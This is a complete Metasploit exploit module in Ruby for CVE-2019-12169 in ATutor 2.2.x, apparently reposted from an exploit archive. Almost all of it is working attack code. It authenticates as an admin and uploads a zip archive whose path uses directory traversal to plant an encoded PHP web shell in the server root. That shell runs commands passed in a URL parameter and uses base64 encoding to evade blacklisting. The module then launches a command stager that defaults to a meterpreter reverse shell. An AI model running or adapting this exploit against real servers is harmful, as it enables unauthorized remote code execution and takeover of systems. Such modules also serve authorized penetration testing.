Share
## https://sploitus.com/exploit?id=PACKETSTORM:158246
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ATutor 2.2.4 - Directory Traversal / Remote Code Execution, ',  
'Description' => %q{  
This module exploits an arbitrary file upload vulnerability together with  
a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in  
order to execute arbitrary commands.  
  
It first creates a zip archive containing a malicious PHP file. The zip  
archive takes advantage of a directory traversal vulnerability that will  
cause the PHP file to be dropped in the root server directory (`htdocs`  
for Windows and `html` for Linux targets). The PHP file contains an  
encoded payload that allows for remote command execution on the  
target server. The zip archive can be uploaded via two vectors, the  
`Import New Language` function and the `Patcher` function. The module  
first uploads the archive via `Import New Language` and then attempts to  
execute the payload via an HTTP GET request to the PHP file in the root  
server directory. If no session is obtained, the module creates another  
zip archive and attempts exploitation via `Patcher`.  
  
Valid credentials for an ATutor admin account are required. This module  
has been successfully tested against ATutor 2.2.4 running on Windows 10  
(XAMPP server).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'liquidsky (JMcPeters)', # PoC  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' =>  
[  
['CVE', '2019-12169'],  
['URL', 'https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit/'] # PoC  
],  
'Platform' => %w[linux win],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Targets' =>  
[  
[ 'Auto', {} ],  
[  
'Linux', {  
'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'linux',  
'CmdStagerFlavor' => :printf,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows', {  
'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'win',  
'CmdStagerFlavor' => :vbs,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => '2019-05-17',  
'DefaultOptions' => {  
'RPORT' => 80,  
'SSL' => false,  
'WfsDelay' => 3 # If exploitation via `Import New Language` doesn't work, wait this long before attempting exploiting via `Patcher`  
},  
'DefaultTarget' => 0  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to ATutor', '/ATutor/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),  
OptString.new('FILE_TRAVERSAL_PATH', [false, 'Traversal path to the root server directory.', ''])  
]  
end  
  
def select_target(res)  
unless res.headers.include? 'Server'  
print_warning('Could not detect target OS.')  
return  
end  
  
# The ATutor documentation recommends installing it on a XAMPP server.  
# By default, the Apache server header reveals the target OS using one of the strings used as keys in the hash below  
# Apache probably supports more OS keys, which can be added to the array  
target_os = res.headers['Server'].split('(')[1].split(')')[0]  
  
fail_with(Failure::NoTarget, 'Unable to determine target OS') unless target_os  
  
case target_os  
when 'CentOS', 'Debian', 'Fedora', 'Ubuntu', 'Unix'  
@my_target = targets[1]  
when 'Win32', 'Win64'  
@my_target = targets[2]  
else  
fail_with(Failure::NoTarget, 'No valid target for target OS')  
end  
  
print_good("Identified the target OS as #{target_os}.")  
end  
  
def check  
vprint_status('Running check')  
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))  
  
unless res  
return CheckCode::Unknown('Connection failed')  
end  
  
unless res.code == 302 && res.body.include?('content="ATutor')  
return CheckCode::Safe('Target is not an ATutor application.')  
end  
  
res = login  
unless res  
return CheckCode::Unknown('Authentication failed')  
end  
  
unless (res.code == 200 || res.code == 302) && res.body.include?('<title>Home: Administration</title>')  
return CheckCode::Unknown('Failed to authenticate as a user with admin privileges.')  
end  
  
print_good("Successfully authenticated as user '#{datastore['USERNAME']}'. We have admin privileges!")  
  
ver_no = nil  
html = res.get_html_document  
info = html.search('dd')  
info.each do |dd|  
if dd.text.include?('Version')  
/(?<ver_no>\d+\.\d+\.\d+)/ =~ dd.text  
end  
end  
  
@version = ver_no  
unless @version && !@version.to_s.empty?  
return CheckCode::Detected('Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.')  
end  
  
@version = Gem::Version.new(@version)  
unless @version <= Gem::Version.new('2.4')  
return CheckCode::Unknown("Target is ATutor with version #{@version}.")  
end  
  
CheckCode::Appears("Target is ATutor with version #{@version}.")  
end  
  
def login  
hashed_pass = Rex::Text.sha1(datastore['PASSWORD'])  
@token = Rex::Text.rand_text_alpha_lower(5..8)  
hashed_pass << @token  
hash_final = Rex::Text.sha1(hashed_pass)  
  
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))  
return unless res  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'login.php'),  
'vars_post' =>  
{  
'form_login_action' => 'true',  
'form_login' => datastore['USERNAME'],  
'form_password' => '',  
'form_password_hidden' => hash_final,  
'token' => @token,  
'submit' => 'Login'  
}  
)  
  
return unless res  
  
# from exploits/multi/http/atutor_sqli  
if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/  
@cookie = "ATutorID=#{Regexp.last_match(4)};"  
else  
@cookie = res.get_cookies  
end  
  
redirect = URI(res.headers['Location'])  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, redirect),  
'cookie' => @cookie  
})  
  
res  
end  
  
def patcher_csrf_token(upload_url)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => upload_url,  
'cookie' => @cookie  
})  
  
unless res && (res.code == 200 || res.code == 302)  
fail_with(Failure::NoAccess, 'Failed to obtain csrf token.')  
end  
  
html = res.get_html_document  
csrf_token = html.at('input[@name="csrftoken"]')  
csrf_token = csrf_token['value'] if csrf_token  
  
max_file_size = html.at('input[@name="MAX_FILE_SIZE"]')  
max_file_size = max_file_size['value'] if max_file_size  
  
unless csrf_token && csrf_token.to_s.strip != ''  
csrf_token = @token # these should be the same because if the token generated by the module during authentication is accepted by the app, it becomes the csrf token  
end  
  
unless max_file_size && max_file_size.to_s.strip != ''  
max_file_size = '52428800' # this seems to be the default value  
end  
  
return csrf_token, max_file_size  
end  
  
def create_zip_and_upload(exploit)  
@pl_file = Rex::Text.rand_text_alpha_lower(6..10)  
@pl_file << '.php'  
register_file_for_cleanup(@pl_file)  
@header = Rex::Text.rand_text_alpha_upper(4)  
@pl_command = Rex::Text.rand_text_alpha_lower(6..10)  
# encoding is necessary to evade blacklisting on server side  
@pl_encoded = Rex::Text.encode_base64("\r\n\t\r\n<?php echo passthru($_GET['#{@pl_command}']); ?>\r\n")  
  
if datastore['FILE_TRAVERSAL_PATH'] && !datastore['FILE_TRAVERSAL_PATH'].empty?  
@traversal_path = datastore['FILE_TRAVERSAL_PATH']  
elsif @my_target['Platform'] == 'linux'  
@traversal_path = '../../../../../../var/www/html/'  
else  
# The ATutor documentation recommends Windows users to use a XAMPP server.  
@traversal_path = '..\\..\\..\\..\\..\\../xampp\\htdocs\\'  
end  
  
@traversal_path = "#{@traversal_path}#{@pl_file}"  
  
# create zip file  
zip_file = Rex::Zip::Archive.new  
zip_file.add_file(@traversal_path, "<?php eval(\"?>\".base64_decode(\"#{@pl_encoded}\")); ?>")  
zip_name = Rex::Text.rand_text_alpha_lower(5..8)  
zip_name << '.zip'  
  
post_data = Rex::MIME::Message.new  
  
# select exploit method  
if exploit == 'language'  
print_status('Attempting exploitation via the `Import New Language` function.')  
upload_url = normalize_uri(target_uri.path, 'mods', '_core', 'languages', 'language_import.php')  
  
post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{zip_name}\"")  
post_data.add_part('Import', nil, nil, 'form-data; name="submit"')  
elsif exploit == 'patcher'  
print_status('Attempting exploitation via the `Patcher` function.')  
upload_url = normalize_uri(target_uri.path, 'mods', '_standard', 'patcher', 'index_admin.php')  
  
patch_info = patcher_csrf_token(upload_url)  
csrf_token = patch_info[0]  
max_file_size = patch_info[1]  
  
post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrftoken"')  
post_data.add_part(max_file_size, nil, nil, 'form-data; name="MAX_FILE_SIZE"')  
post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"patchfile\"; filename=\"#{zip_name}\"")  
post_data.add_part('Install', nil, nil, 'form-data; name="install_upload"')  
post_data.add_part('1', nil, nil, 'form-data; name="uploading"')  
else  
fail_with(Failure::Unknown, 'An error occurred.')  
end  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => upload_url,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'cookie' => @cookie,  
'headers' => {  
'Accept-Encoding' => 'gzip,deflate',  
'Referer' => "http://#{datastore['RHOSTS']}#{upload_url}"  
},  
'data' => post_data.to_s  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection failed while trying to upload the payload.')  
end  
  
unless (res.code == 200 || res.code == 302)  
fail_with(Failure::Unknown, 'Failed to upload the payload.')  
end  
print_status("Uploaded malicious PHP file #{@pl_file}.")  
end  
  
def execute_command(cmd, _opts = {})  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(@pl_file),  
'cookie' => @cookie,  
'vars_get' => { @pl_command => cmd }  
})  
end  
  
def exploit  
# NOTE: Automatic check is implemented by the AutoCheck mixin  
super  
  
res = login  
if target.name == 'Auto'  
select_target(res)  
else  
@my_target = target  
end  
  
# There are two vulnerable functions, the `Import New Language` function and the `Patcher` function  
# The module first attempts to exploit `Import New Language`. If that fails, it tries to exploit `Patcher`  
create_zip_and_upload('language')  
print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")  
  
if @my_target['Platform'] == 'linux'  
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')  
else  
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])  
end  
sleep(wfs_delay)  
  
# The only way to know whether or not the exploit succeeded, is by checking if a session was created  
unless session_created?  
print_warning('Failed to obtain a session when exploiting `Import New Language`.')  
create_zip_and_upload('patcher')  
print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")  
if @my_target['Platform'] == 'linux'  
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')  
else  
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])  
end  
end  
end  
end